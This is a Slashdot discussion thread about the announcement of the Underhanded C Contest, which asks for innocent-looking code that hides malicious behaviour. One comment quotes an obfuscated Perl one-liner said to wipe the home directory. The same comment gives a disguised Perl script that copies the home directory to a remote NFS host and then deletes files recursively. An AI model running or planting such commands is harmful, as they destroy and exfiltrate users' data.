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The First Annual Underhanded C Contest

CowboyNeal posted more than 9 years ago | from the delightfully-malicious dept.

Programming 341

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

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341 comments

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The prize is beer... (5, Funny)

conner_bw (120497) | more than 9 years ago | (#12789116)

...and a punch in the face?

"Sending bestiality porn to my mom and boss with my face cut and pasted from my iPhoto library, ho ho! didn't see that one coming... FIRST PRIZE!"

Re:The prize is beer... (0)

Anonymous Coward | more than 9 years ago | (#12789148)

Is it free as in beer?

NOT FUNNY: Chinese Hackers (-1, Troll)

Anonymous Coward | more than 9 years ago | (#12789332)

Currently, China is the principal source of malware like spyware [phrusa.org] . The Chinese will surely learn new techniques by looking at the results of this underhanded C contest.

We had better designate this contest and its results "top secret".

Re:NOT FUNNY: Chinese Hackers (0, Offtopic)

Anonymous Coward | more than 9 years ago | (#12789345)

That report was written in 1997.
I think you're sino-bashing and trolling.

This will work (4, Funny)

The Original Yama (454111) | more than 9 years ago | (#12789120)

People will do anything for beer! Who needs speech when you're gulping down a cold lager?

Re:This will work (4, Funny)

isny (681711) | more than 9 years ago | (#12789177)

Based on past experience, free beer is usually the first step toward free speech.

Re:This will work (1, Insightful)

AnusesCheeses (702826) | more than 9 years ago | (#12789193)

You mean like Hitler's infamous Beer Hall Putsch [wikipedia.org] ?

Re:This will work (1, Offtopic)

The Original Yama (454111) | more than 9 years ago | (#12789276)

Mod this man down for invoking Godwin's Law, but mod him up for incorporating it into a joke :)

Re:This will work (1, Informative)

Anonymous Coward | more than 9 years ago | (#12789434)

1. "Invoking" the law is what you do in response to a violation.

2. You don't mod people down over Godwin's Law. You declare the argument over, and the person who tried to use nazis or Hitler to vilify their opponent is the loser. There is not "-1, Godwin" mod category, nor should there be.

3. You only mod jokes up as "Funny" or "Insightful" if they are, in fact, funny or insightful. Saying Free Beer doesn't lead to greater liberties because Hitler once gave some people free beer fails to either debunk the original point (which can still be true in other cases), and also fails to make anybody laugh.

So no mod points should be used on his post, so people can save them to mod down both your post and mine as "Offtopic."

Re:This will work (0)

Anonymous Coward | more than 9 years ago | (#12789508)

-1, Pedantic

Seems a bit like those hacking contests (1)

bcmm (768152) | more than 9 years ago | (#12789121)

If they can do something really malicious with innocent-looking C code, they might want to gain a bit more than beer in the course of revealing how they did it...

Re:Seems a bit like those hacking contests (5, Informative)

numbski (515011) | more than 9 years ago | (#12789285)

This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'
Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

I mean I could do something like this:

# When do you want it done?
$today="sudo";
$yesterday="su -c";

# Define our globals
$superman="ls";
$wonderwoman="rm"
$batm an="cp";
$aquaman="mv";

#define some important flags
$blows="-r";
$maims="-p";
$chunks="-f";
$defeats="-s";

#define some targets
$your_mom="/";
$your_dad="/usr";
$your_ sister="~";
$your_teacher="/bin";
$hell="/dev/nu ll";
$heaven="/dev/random";
$skyhigh="nfs://myse rver/myhome";

#....later, back at Superfriends Headquarters

`$batman $blows $your_sister $skyhigh`;
`$wonderwoman $blows $chunks $on $your_sister`;
`$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
#Would you like to see the rest of the story?
#print "Would you like to hear more? Please type your password to continue!";

The superfriends save the day again.

Re:Seems a bit like those hacking contests (1)

surprise_audit (575743) | more than 9 years ago | (#12789461)

Might want to reveal it from the safety of another country, preferably one that doesn't allow extradition to the US...

in other words... (4, Funny)

beta-guy (715984) | more than 9 years ago | (#12789123)

kill the brain cells that made innocent looking malicous code :P

There you programmers go again... (1)

bennomatic (691188) | more than 9 years ago | (#12789126)

...testing the limits of the first ammendment. And all for a beer!

Seriously, though, this is (obviously) a lot like the obfuscated c contest, but it's a cool idea, in that there's an important lesson to learn about evaluating code.

Re:There you programmers go again... (0)

Anonymous Coward | more than 9 years ago | (#12789272)

from the article:

"Inspired by Daniel Horn's Obfuscated V contest in the fall of 2004"

hmmmm...

Re:There you programmers go again... (1)

Hex4def6 (538820) | more than 9 years ago | (#12789389)

"...testing the limits of the first ammendment. And all for a beer! "

Are you seriously suggesting that this is stretching someone's first ammendment rights?

This is not attacking / defaming / publishing state secrets etc. This is basically the equiviliant of a riddle. If a technical (I assume) person thinks this is risky ground, I shudder to think what the average bob thinks...

Surely? (-1, Troll)

Skiron (735617) | more than 9 years ago | (#12789127)

Microsoft Office team have all ready won this, sneaking clippy past Gates and Balmers security code analysis?

Re:Surely? (0)

Anonymous Coward | more than 9 years ago | (#12789549)

Seriously though, your not kidding... Just create something thats useful only have an easily exploitable buffer overflow somewhere in there. The program does what the user intends for it to do, but at the same time leaves a backdoor for a hacker. Microsoft deserves many cases of beer.

What are the legal ramifications of this? (0, Troll)

CyricZ (887944) | more than 9 years ago | (#12789135)

This sounds a lot like possible entrapment. The authorities start a contest such as this, an unsuspecting programmer submits a malicious program, and he or she is arrested and charged with a variety of computer crimes. Frankly, I won't participate in this contest considering the current legal state of America.

Re:What are the legal ramifications of this? (3, Funny)

Anonymous Coward | more than 9 years ago | (#12789146)

Pussy.

Re:What are the legal ramifications of this? (2, Informative)

spellraiser (764337) | more than 9 years ago | (#12789165)

RTFA, please.

The challenge for the first UCC is to write a simple program that performs some basic image-processing operation, for example smoothing or resampling, but manages to conceal a unique imperceptible fingerprint in each image it opens.

The fingerprint should be different for every execution of the program. It doesn't have to have any particular meaning, but useful tracking information is worth extra points (tho getting caught is worth fewer points.) The print should be extractable from the output image by another program. Realistically, the detector will not have access to the original image for comparison purposes.

I seriously doubt that anyone could get arrested for writing something like this, dubious legal state or not.

Re:What are the legal ramifications of this? (1)

Neoprofin (871029) | more than 9 years ago | (#12789180)

However the winning entry will be taken by the governemnt and inserted secretly by a crack team of hackers into every image editing program on the market. 1984 is here!

Re:What are the legal ramifications of this? (2)

Cryptacool (98556) | more than 9 years ago | (#12789181)

What?

Are you serious? Entrapment is an undercover cop asking you if you want to buy drugs, then when you say no, he tries to persuade you and suceeds, possibly becuase you just want him to go away.

It's really not that easy for something to qualify as entrapment, also consider that writing malicious code isnt illegal, it's free speech and no different then writing a book that urges people to do something malicious, not at all illegal.

But no please, keep thinking everything is illegal and dont bother doing anything it makes it easier to actually make it illegal.

Re:What are the legal ramifications of this? (4, Insightful)

anthony_dipierro (543308) | more than 9 years ago | (#12789199)

The authorities start a contest such as this, an unsuspecting programmer submits a malicious program, and he or she is arrested and charged with a variety of computer crimes.

What computer crimes would be broken?

Frankly, I won't participate in this contest considering the current legal state of America.

No, you won't participate because of yor current state of paranoia over the legal state of America.

Re:What are the legal ramifications of this? (1)

Ectospheno (724239) | more than 9 years ago | (#12789517)

Why was the parent post marked troll? I'd say this is a clear case of moderator abuse.

Re:What are the legal ramifications of this? (5, Funny)

bighoov (605325) | more than 9 years ago | (#12789258)

Can you even breathe in that tinfoil cocoon?

Beer (1)

tehshen (794722) | more than 9 years ago | (#12789138)

I'm interested to know how the beer will be transported. In an airtight container smuggled through check-in? Frozen (planes get pretty cold you know)? Or will they just send money for us to buy beer with?

Re:Beer (0)

Anonymous Coward | more than 9 years ago | (#12789182)

The outside of planes do become quite cold, however the cabin and luggage compartments are insulated and kept at a reasonable temperature.

Re:Beer (1)

Ki Master George (768244) | more than 9 years ago | (#12789475)

RTFA - They're sending some of their local beer.

Re:Beer (0)

Anonymous Coward | more than 9 years ago | (#12789484)

Maybe they'd ship it on the ground like most beer, dumb ass. You think they need some James Bond shit to send beer around? Smuggled? What, are you from Iran???

Do these count? (0)

Anonymous Coward | more than 9 years ago | (#12789147)

Do poorly written C projects with innocuous looking, yet malicious code count?

Beer? Phui! (2, Funny)

devross (524605) | more than 9 years ago | (#12789166)

The object is to hide evil functionality that survives visual inspection of the source.

The prize is world domination!

It's a bad idea (3, Interesting)

Anonymous Coward | more than 9 years ago | (#12789169)

Count on the likes of Sun, Microsoft, and anyone else selling a non-C language to pounce on this as a marketing opportunity.

C is a superb language. Why besmirch its reputation with a contest to make it seem as untrustworthy as possible?

Indeed. This could be a field day for Java and C#. (0)

CyricZ (887944) | more than 9 years ago | (#12789188)

Everyone knows that it is possible to write malicious code in C. That's just because C gives you the near utmost control over your system, and does not discrminiate based on human emotions like "good", "bad", and "malicious". Perhaps a better idea would have been to try to write malicious code in a language such as Java, which tries to prevent a programmer from writing such code. That would be a real challenge.

Re:Indeed. This could be a field day for Java and (2, Informative)

bcmm (768152) | more than 9 years ago | (#12789218)

RTFA. The idea is to hide the malicious functions so that the source code looks innocent.

Re:Indeed. This could be a field day for Java and (1, Insightful)

CyricZ (887944) | more than 9 years ago | (#12789245)

And like I said, do it in Java instead. That'll make it a real challenge, since the designers of Java made an effort to make it difficult to write malicious code in the first place. The point isn't that the code will look valid, but rather that it will perform malicious duties, which is something that is a challenge in Java, but easily done in C. Making it look valid is just an additional challenge for both languages.

Re:Indeed. This could be a field day for Java and (0)

Anonymous Coward | more than 9 years ago | (#12789270)

Wrong. Making it look valid is the entire point.

Re:Indeed. This could be a field day for Java and (3, Informative)

Xcott Craver (615642) | more than 9 years ago | (#12789341)

Correct, making it look valid is the main purpose of the contest.

Please check out the contest page: the "evil" behavior is not something java would prevent you from doing. We're not talking about crashing a computer or gaining root access, but performing a data processing task incorrectly. It's entirely problem state.

That being said, I chose C because it does permit more tricks along the lines of stack smashing and type mismatches. The winners of the obfuscated V contest used techniques like this to conceal their evil behavior, so I feel this would give people more freedom to get creative.

Finally, this is not meant to slam C, or open source, or any such like. I can't imagine how anyone can look at this contest and see it as an argument for less openness.

Xcott

Re:Indeed. This could be a field day for Java and (0)

Anonymous Coward | more than 9 years ago | (#12789453)

That being said, I chose C because it does permit more tricks along the lines of stack smashing and type mismatches.

C++ would have been even more interesting, what with operator overloading and all. Who knows what "A + B" may do, given the proper context? The abstraction power lets you have much higher-level "mistakes."

Java even provides interesting opportunities for evil, you've got method overloading and that great gremlin, threads. "Accidently" call that method with the wrong type and exploit a thread timing bug to kick the dog.

Story is just plain bad (3, Insightful)

typical (886006) | more than 9 years ago | (#12789265)

Everyone knows that it is possible to write malicious code in C. That's just because C gives you the near utmost control over your system, and does not discrminiate based on human emotions like "good", "bad", and "malicious". Perhaps a better idea would have been to try to write malicious code in a language such as Java, which tries to prevent a programmer from writing such code. That would be a real challenge.

Yeah, I just flip the "+good +bad -malicious" flags on javac when I want to trust code. Come on, that's ridiculous.

This is not a hard task, but it's kind of stupid, on the order of "who can break into the most computers today" (I dunno, who can run nmap the longest?)

There are so many *interesting* things that could be done as a programming contest, and the submitter chose something that's a pain in the ass for other people, doesn't really challenge the brain ("shortest version of X"), and can't be used for much other than bogus arguments that "C is dangerous" or the obvious card, "Open Source is insecure" (you can look at the much larger sample set of SourceForge and the lack of Trojans implanted and later discovered).

The number of *interesting* security stories that could have challenged people and been useful is legion. "Can we have a system that is unbreakable and does X", (followed by the inevitable followup posts where people punch holes in the design) or other things. You could have asked "How can OSS projects avoid allowing malicious code being sumitted?", which would have started an interesting set of threads from people who work on proof-carrying code, would have taught readers something, and maybe provided improved security for the world at large. Instead, we're going to see a handful of bad, obfuscated C, and a bunch of halfassed arguments against C and OSS, neither of which has much connection with reality. There will be some language arguments, where someone says "we should use [LANGUAGE_WITH_BOUNDSCHECKING]", some security guy that will point out that this doesn't begin to avoid stopping malicious code, someone will make some stupid arguments about how their favorite OS is more secure than anyone else's, we'll get some rehash of NX features that have been done time and time again on Slashdot...seriously, goddammit. The day someone makes a knockoff of Slashdot that's a bit more computer-science oriented and isn't solely aimed at producing the same tired old trolling every day is the day I jump ship.

Re:Story is just plain bad (0)

Anonymous Coward | more than 9 years ago | (#12789298)

There are so many *interesting* things that could be done as a programming contest, and the submitter chose something that's a pain in the ass for other people, doesn't really challenge the brain ("shortest version of X"), and can't be used for much other than bogus arguments that "C is dangerous" or the obvious card, "Open Source is insecure" (you can look at the much larger sample set of SourceForge and the lack of Trojans implanted and later discovered).

Oh, please. You don't think that participating in this contest or seeing the results will make people better code reviewers?

Security is implied when using Java, my good man! (-1)

CyricZ (887944) | more than 9 years ago | (#12789322)

Of course you don't pass those types of safety-inducing options to your Java compiler or virtual machine. The high-security nature of Java is implied. Security is inherent to Java. That is why it is difficult to write malicious code in Java, and as such is an actual challenge.

Anyone can write malicious code in C, but it takes a real pro with real knowledge to even begin to try that with Java.

Re:Story is just plain bad (3, Informative)

schotter (17230) | more than 9 years ago | (#12789514)

"The day someone makes a knockoff of Slashdot that's a bit more computer-science oriented and isn't solely aimed at producing the same tired old trolling every day"

Have you seen Technocrat.net [technocrat.net] ? Looks to be just starting, but I'm already impressed: slashdot ran an article on a nanotech textiles protest - technocrat ran one on a group of scientists demonstrating a refined iteration of a carbon nanotube CPU. Comments are on-topic too, touch wood.

(Or there's always ars [arstechnica.com] for CS stuff, but they're hardly a /. knockoff.)

Re:It's a bad idea (-1, Flamebait)

metamatic (202216) | more than 9 years ago | (#12789195)

C is a superb language.

I was about to spend one of my mod points putting your comment up to +1 Funny, but then I decided that +1 Fucking Ignorant was more likely, and that's not an option...

Re:It's a bad idea (4, Insightful)

Catamaran (106796) | more than 9 years ago | (#12789294)

C gives you just enough rope to hang yourself.

Java gives you a polished floor on which you can slip and break your neck.

C++ gives you a thermo-nuclear device.

If crashing is "malicious behavior" (1)

frenchgates (531731) | more than 9 years ago | (#12789172)

doesn't that make basically all c code underhanded?

Re:If crashing is "malicious behavior" (0)

Anonymous Coward | more than 9 years ago | (#12789464)

No. Dumbass.

Re:If crashing is "malicious behavior" (1)

geoffspear (692508) | more than 9 years ago | (#12789491)

Maybe all C code you write. Some people can actually design their code properly.

How will the judges be able to trust this code? (1)

bcmm (768152) | more than 9 years ago | (#12789174)

If the contestants can really hide malicious code, then will the judges get code that does something innocent, something concealed to win the prize, and something else to mess up the judge's files a bit?

Re:How will the judges be able to trust this code? (1)

thebatlab (468898) | more than 9 years ago | (#12789239)

I'm sure they'll run these directly on their home machine with all their important documents :)

The judges will expect that (1)

MarkByers (770551) | more than 9 years ago | (#12789242)

The judges will obviously be expecting programs that try to delete files or modify them, so they will without a doubt create a separate environment to run the malicious programs in. Probably they will restore the machine to a known clean state after every run.

If they didn't do this, you can bet that someone would try to write a program which would detect competitors' programs running and disable them.

I think I might win (4, Funny)

numbware (691928) | more than 9 years ago | (#12789179)

#include
main()
{
printf("Hello World");
}

Seemingly harmless, right? Wrong. It's still in devlopment, but think about it. You should have to greet the world before you destroy it. :)

Re:I think I might win (1)

numbware (691928) | more than 9 years ago | (#12789205)

there should be an 'stdio.h' after the #include, obviously (thank you slashdot filtering)

Re:I think I might win (0)

Anonymous Coward | more than 9 years ago | (#12789241)

That's okay, the program breaks other rules anyway...

Re:I think I might win (1)

saskboy (600063) | more than 9 years ago | (#12789267)

I was thinking you were including some library with the bad code, and the rest was just a smokescreen.

Re:I think I might win (1)

LiquidCoooled (634315) | more than 9 years ago | (#12789235)

It depends which file you include to map printf...

This year's challenge (1)

ErichTheWebGuy (745925) | more than 9 years ago | (#12789184)

Covert fingerprinting. In other words, hiding information inside an image file. hmm... Any open-source steganography programs to use as a starting point?

Re: This year's challenge (1)

l3v1 (787564) | more than 9 years ago | (#12789336)

it won't do much good since their [stegano] goal is not to hide their behaviour from visual inspection of the code... Seek further.

Re: This year's challenge (1)

ErichTheWebGuy (745925) | more than 9 years ago | (#12789399)

Of course it would. After learning how the stego program works, your only remaining task is to figure out how to hide it. You no longer have to figure out how to hide the data. Seek further you need not.

Re: This year's challenge (1)

agraupe (769778) | more than 9 years ago | (#12789455)

Seek further you need not.

Well, if you're Yoda, then you can just use the Force to do it.

my submission (1)

selderrr (523988) | more than 9 years ago | (#12789189)

although probblably modded funny, the code below will most often just work ! { printf ("hi, this is your bank. really. Look at the logo at the top. Trust me. I'm your bank. Now enter your VISA number and any personal information you can come up with. Maybe you'll win a pony"); scanf("%s", &visanumberbuffer); // duh... buffer overrun anyone :-) }

Is it... (0)

Anonymous Coward | more than 9 years ago | (#12789192)

Free as in beer?

Strange (1)

macemoneta (154740) | more than 9 years ago | (#12789204)

This sounds like someone is asking for an DRM/watermarking-type of application, that would survive open source inspection. Hmmm.

Mod Parent Up! (1, Insightful)

Anonymous Coward | more than 9 years ago | (#12789421)

My original post was to be along the lines of 'how long before this kind of technique is used to poison Open Source?'...

Tin foil hat on, for sure. :)

like this? (5, Funny)

LiquidCoooled (634315) | more than 9 years ago | (#12789215)

#include stuff.h
void main()
{
/* nothing / */ /* to see / * here */
/* whats * / challenging / * about */
/* this */ /* there / is no */ evil /*
screensaver(); * function */ /* here
anyone that thinks there is * / needs */
/* their / * / eyes testing */ ();
}

585

Re:like this? (1)

alexhs (877055) | more than 9 years ago | (#12789289)

>#include stuff.h
>void main()
>{
> /* nothing / */ /* to see / * here */
> /* whats * / challenging / * about */
> /* this */ /* there / is no */ evil /*
> screensaver(); * function */ /* here
> anyone that thinks there is * / needs */
> /* their / * / eyes testing */ ();
>}
>
>585
I'm hesitating between an harmless evil(); function and an evil whitespace function (and I ruined it copypasting).

Re:like this? (1)

truedfx (802492) | more than 9 years ago | (#12789466)

Extra points if your code looks innocent under syntax coloring;

You wouldn't stand a chance :)

how appropriate (1)

circusboy (580130) | more than 9 years ago | (#12789222)

this is the /. fortune cookie at the moment that I read this story...

If you can't learn to do it well, learn to enjoy doing it badly.

assuming you read this with a different meaning of 'badly' in mind...

easy (1)

larry bagina (561269) | more than 9 years ago | (#12789226)

#include "/dev/console"

Re:easy (0)

Anonymous Coward | more than 9 years ago | (#12789274)

on windows do this:

#include "con"

Attack the Compiler (4, Interesting)

LionKimbro (200000) | more than 9 years ago | (#12789247)

Why attack the source code when you can instead attack the compiler? [acm.org]

You need only attack the compiler, or the linker, or the interpreter.

Re:Attack the Compiler (1)

lawpoop (604919) | more than 9 years ago | (#12789292)

But would such an attack survive a 3rd party human audit of the source code?

Re:Attack the Compiler (2, Informative)

derek_farn (689539) | more than 9 years ago | (#12789314)

For all you could possibly want to know about C, and more, check out this book [coding-guidelines.com] (8M pdf). Those who want pure, uncommentaried, standard words can find them here [coding-guidelines.com] .

Here you go (5, Funny)

titzandkunt (623280) | more than 9 years ago | (#12789249)


Just tuck it away in a commonly used header file, use touch to restore the last date/time of modification, and you're all set.

#define void int

Hours & hours of irritation & confusion!

T&K.

Re:Here you go (0, Offtopic)

kwoff (516741) | more than 9 years ago | (#12789557)

Nice sig, haha.

underhanded c (1)

heatdeath (217147) | more than 9 years ago | (#12789257)

int the_slaves;
free(the_slaves);

kernel backdoor (0)

Anonymous Coward | more than 9 years ago | (#12789264)

what about that attempted kernel backdoor a few years back? using two flags together would lead to local root.

Wrong prize! (0)

Anonymous Coward | more than 9 years ago | (#12789271)

IMHO the prize is not the right one; they should give them a ham, because a ham contains salt, which seems benign but can be harmful as well. Do I look innocent enough or just plain stupid?

Oh well...

-Emili Brogor Dodepetete

Re:Wrong prize! (0)

Anonymous Coward | more than 9 years ago | (#12789303)

and beer can't be harmful, despite being benign in relatively small quantities?

Diebold (2, Insightful)

jay95 (139426) | more than 9 years ago | (#12789275)

I nominate Diebold!
Now if only we can get them to enter their code in the contest...

Re:Diebold (2, Funny)

ceejayoz (567949) | more than 9 years ago | (#12789359)

Pfft.

It's supposed to survive inspection, remember. giveElectionToTheRepublican() is underhanded, but it probably won't survive inspection. ;-)

SxE anyone??? (1)

TheGreatOrangePeel (618581) | more than 9 years ago | (#12789287)

The prize is beer.

What if someone in the straight edge crowed wins?

Re:SxE anyone??? (2, Funny)

Hatta (162192) | more than 9 years ago | (#12789306)

The prize is beer.

What if someone in the straight edge crowed wins?


They can give the beer to me.

Re:SxE anyone??? (1)

TeleoMan (529859) | more than 9 years ago | (#12789309)

Then they get cigarettes and tats. Crowd. It's spelled Crowd. You asshole.

Re:SxE anyone??? (1)

alfrin (858861) | more than 9 years ago | (#12789348)

The prize is beer.

What if someone in the straight edge crowed wins?


Straight Edge is really getting to a problem, here in Reno, Nevada its been classified as a gang because the SxE beat the crap out of people who don't follow their beliefs.

But I'll take the prize if they don't want it

Why? (4, Insightful)

simulacrum25 (664049) | more than 9 years ago | (#12789290)

Hacking was never about malicious behaviour, it was about learning and understanding. Granted, much of what one learned could be applied in malicious ways, but that wasn't the goal. Coding contests whether they be geared towards obfuscation or speed are still learning endeavors.

Who is behind this and what is their motivations? What will they do with the ideas submitted in this contest? In a day of professional computer hackers, this is not a contest to have.

Re:Why? (5, Insightful)

Nf1nk (443791) | more than 9 years ago | (#12789425)

To find subtley malicous code in an open source project, we first must know what it looks like. Having contests like these creates a sample base of dangerous code and clever tricks to read and learn from.
It is sort of like the computer version of a bomb squad.

it's been here all along (0, Flamebait)

xmp_phrack (795665) | more than 9 years ago | (#12789315)

look over SE linux code.

Exactly how are they going to test this? (0)

neo (4625) | more than 9 years ago | (#12789321)

"And now we test program number one which computes Pi to the 13th digit.... wait...um, the whole system is smoking and there are sparks. Oh crap, the test computer is melted. End of contest, sorry guys!"

Here's my entry: (2, Funny)

stinky wizzleteats (552063) | more than 9 years ago | (#12789338)

title Windows
root (hd0,0)
chainloader +1

Now where's my beer?

Diebold Hiring the winner! (4, Funny)

tvlinux (867035) | more than 9 years ago | (#12789339)

Help Wanted:
Diebold needs new programmers. If you have what it takes to hide "winning" code in our election machines. Apply to Diebold Careers [diebold.com]

Cheating? (2, Funny)

Maxwell'sSilverLART (596756) | more than 9 years ago | (#12789374)

Am I required to submit original source code, written by me, or can I merely submit the leaked Windows source, and thus be assured of victory?

fi8st post (-1, Offtopic)

Anonymous Coward | more than 9 years ago | (#12789375)

In ratio of 5 to looK at your soft, be treated by your member. GNAA (gAY tangle of fatal chosen, whatever

I want to know (-1, Offtopic)

Anonymous Coward | more than 9 years ago | (#12789403)

How do I write evil C code?

Is Malicious Intent Required? (0)

Anonymous Coward | more than 9 years ago | (#12789432)

I would submit some of my co-workers' code but there was no malicious intent present. Does this count?

I mean, couldn't we just *pretend* that they were really really smart and diabolical and had wanted to take down the entire mainframe?

It's really tough holding back when you know you've got a winner!-))

Would the Windows source code count? (2, Funny)

Sniper_Peabody (570058) | more than 9 years ago | (#12789440)

It looks innocent but is about as evil as it gets.

Subtlety (5, Funny)

Dirtside (91468) | more than 9 years ago | (#12789521)

The prize is beer.
...but the beer is poisoned!

All 4th grade style up in here (1)

LandownEyes (838725) | more than 9 years ago | (#12789552)

Seriously, when I first read the headline I thought they meant writing C in cursive handwriting. Truth be told, I was pretty dissapointed to find out that wasn't actually the case at all.
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